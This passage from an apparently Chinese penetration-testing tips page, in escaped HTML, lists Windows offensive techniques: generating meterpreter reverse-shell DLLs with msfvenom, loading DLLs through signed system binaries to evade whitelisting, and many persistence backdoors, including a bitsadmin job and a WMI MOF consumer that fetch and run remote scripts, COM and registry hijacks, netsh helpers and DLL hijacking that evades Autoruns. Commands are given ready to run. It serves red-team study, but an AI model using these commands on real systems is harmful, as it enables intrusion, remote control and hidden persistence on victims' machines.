wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员也许会使用WMI记录攻击者调用WMI的操作，可通过wmic查看，当然通过wmic也能关闭该监控功能&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/"&gt;《Study Notes Weekly No.1(Monitor WMI &amp;amp; ExportsToC++ &amp;amp; Use DiskCleanup bypass UAC))》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_41" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 28. Windows系统反弹meterpreter的常用方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_42" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过rundll32加载dll反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msf：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080&amp;gt;./a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成a.dll,然后上传至测试主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行&lt;code&gt;rundll32.exe a.dll,Control_RunDLL&lt;/code&gt;，即可上线&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_43" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过cpl反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成dll，重命名为cpl，双击执行&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_44" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过powershell反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_45" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 29. Windows系统加载dll的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_46" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：rundll32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;rundll32 a.dll,EntryPoint&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_47" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：regsvr32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;regsvr32 a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_48" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：odbcconf&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;odbcconf.exe /a {regsvr c:\test\odbcconf.dll}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_49" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Tracker&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;Tracker.exe /d test.dll /c svchost.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;tracker.exe包含微软数字签名，可绕过应用程序白名单的限制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_50" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Excel.Application object&amp;#39;s RegisterXLL() method&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;前提：已安装Microsoft Office软件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.rundll32&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;3.powershell&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/"&gt;《Use Excel.Application object&amp;#39;s RegisterXLL() method to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_51" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：xwizard.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制%windir%\system32\下的xwizard.exe至新目录C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将msg.dll重命名为xwizards.dll，保存在C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;命令行执行：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;xwizard processXMLFile 1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;成功加载C:\x\xwizards.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-xwizard.exe-to-load-dll/"&gt;《Use xwizard.exe to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_52" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 30. Windows Persistence&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_53" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：bitsadmin&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Use bitsadmin to maintain persistence and bypass Autoruns》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_54" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：mof&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;pragma namespace("\\\\.\\root\\subscription")    
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mofcomp test.mof&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WSC、JSRAT and WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_55" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：wmi&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每隔60秒执行一次notepad.exe&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_56" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Userland Persistence With Scheduled Tasks&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;劫持计划任务UserTask，在系统启动时加载testmsg.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;操作如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;接着新建项InprocServer32&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;值设定为&lt;code&gt;c:\test\testmsg.dll&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;testmsg.dll包含如下导出函数：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;DllCanUnloadNow&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllGetClassObject&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllRegisterServer&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;DllUnregisterServer&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;等待用户重新登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_57" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Netsh&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper DLL需要包含导出函数InitHelperDll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh add helper c:\test\netshtest.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper dll添加成功后，每次调用netsh，均会加载c:\test\netshtest.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/"&gt;《Netsh persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_58" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：Shim&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方式：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;InjectDll

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectShortcut

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectEXE

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/"&gt;《渗透测试中的Application Compatibility Shims》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_59" class="h16"&gt;&lt;span class="span_for_h"&gt;方法7：dll劫持&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/"&gt;《DLL劫持漏洞自动化识别工具Rattler测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_60" class="h16"&gt;&lt;span class="span_for_h"&gt;方法8：DoubleAgent&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编写自定义Verifier provider DLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Application Verifier进行安装&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;注入到目标进程执行payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每当目标进程启动，均会执行payload，相当于一个自启动的方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)/"&gt;《渗透测试中的Application Verifier(DoubleAgent利用介绍)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_61" class="h16"&gt;&lt;span class="span_for_h"&gt;方法9：waitfor.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/"&gt;《Use Waitfor.exe to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_62" class="h16"&gt;&lt;span class="span_for_h"&gt;方法10：AppDomainManager&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/"&gt;《Use AppDomainManager to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_63" class="h16"&gt;&lt;span class="span_for_h"&gt;方法11：Office加载项&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统已安装office软件，可通过配置Office加载项实现劫持，作为被动后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用利用方式：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Word WLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel XLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;PowerPoint VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/Office-Persistence&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/"&gt;《Use Office to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/"&gt;《Office Persistence on x64 operating system》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_64" class="h16"&gt;&lt;span class="span_for_h"&gt;方法12：CLR&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;无需管理员权限的后门，并能够劫持所有.Net程序&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC:https://github.com/3gstudent/CLR-Injection&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/"&gt;《Use CLR to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_65" class="h16"&gt;&lt;span class="span_for_h"&gt;方法13：msdtc&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_66" class="h16"&gt;&lt;span class="span_for_h"&gt;方法14：Hijack CAccPropServicesClass and MMDeviceEnumerator&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/COM-Object-hijacking&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/"&gt;《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_67" class="h16"&gt;&lt;span class="span_for_h"&gt;方法15：Hijack explorer.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/"&gt;《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_68" class="h16"&gt;&lt;span class="span_for_h"&gt;方法16：Windows FAX DLL Injection&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过DLL劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Explorer.exe在启动时会加载&lt;code&gt;c：\Windows\System32\fxsst.dll&lt;/code&gt;(服务默认开启，用于传真服务)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload.dll保存在c：\Windows\fxsst.dll，能够实现dll劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_69" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：劫持Office软件的特定功能&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过dll劫持,在Office软件执行特定功能时触发后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
